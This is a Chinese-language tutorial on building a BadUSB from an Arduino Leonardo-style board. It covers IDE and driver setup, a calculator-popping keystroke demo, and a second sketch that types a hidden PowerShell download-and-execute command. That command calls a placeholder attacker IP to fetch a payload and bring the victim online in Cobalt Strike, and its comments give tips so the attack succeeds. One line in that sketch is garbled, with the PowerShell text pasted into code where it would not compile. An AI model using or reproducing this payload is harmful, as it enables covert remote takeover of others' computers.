1 IDE下载
地址:Software | Arduino
2 开发版驱动安装
linux和mac版本会自动识别提示你安装开发板,驱动貌似不需要额外安装
win需要根据板子型号去下载安装驱动 如
Arduino驱动的安装教程-DFRobot产品资料库
默认会提示你根据你插入的设备进行提示下载,以下为手工操作
开发板选择
串口识别选择
3 编写代码-编译上传
点击红色箭头,先编译后上传到BadUsb
主要实现模拟硬件按键弹出计算器
#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CALC");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
}
上线CS代码参考:
badusb详细制作教程(两种方式实现远控)_ESQ404的博客-CSDN博客
#include <Keyboard.h>
void setup() {
Keyboard.begin();
//向被攻击主机发送信息,伪装成一个USB键盘并准备通讯
delay(1542);
//等待1.542秒,因为电脑在把Leonardo识别成键盘并接受输入时会有1~2秒的延迟,也可以看情况修改,防止输入遗漏
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
//按下大写键,防止一些中文输入法的干扰
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');POWERSHELL.EXE -NOP -W HIDDEN -C "iex ((NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING('HTTP://xx.xx.xx.xx:80/A'))"
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
//输入windows+r让电脑弹出“运行”输入框
delay(736);
//等待0.736秒
//这里等待的原因是有些速度较慢的电脑在弹出输入框是有延迟,如果不等待直接执行后续代码输入字符的话会出现输入代码不完全的情况,导致攻击失败
Keyboard.println("POWERSHELL.EXE -NOP -W HIDDEN -C \"iex ((NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING(\'HTTP://xx.xx.xx.xx:80/A\'))\"");
//上一行中println里的大写字母在badusb模拟键盘输入电脑时会转为小写,小写字母则会转为大写
//所以在修改地址时注意要把大写字母和小写字母转换一下,否则输入代码时会因字母大小写相反导致攻击失败
//192.168.1.2:80/a换成你自己的地址
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
}
void loop() {
}
4 测试
插入win机器即可弹计算器或者上线CS
参考:
BadUSB制作-详细指南 - JE2Se ' Blog
插一个U盘黑一台电脑-Badusb详细教程 - 简书
由Arduino Leonardo初识BadUsb - FreeBuf网络安全行业门户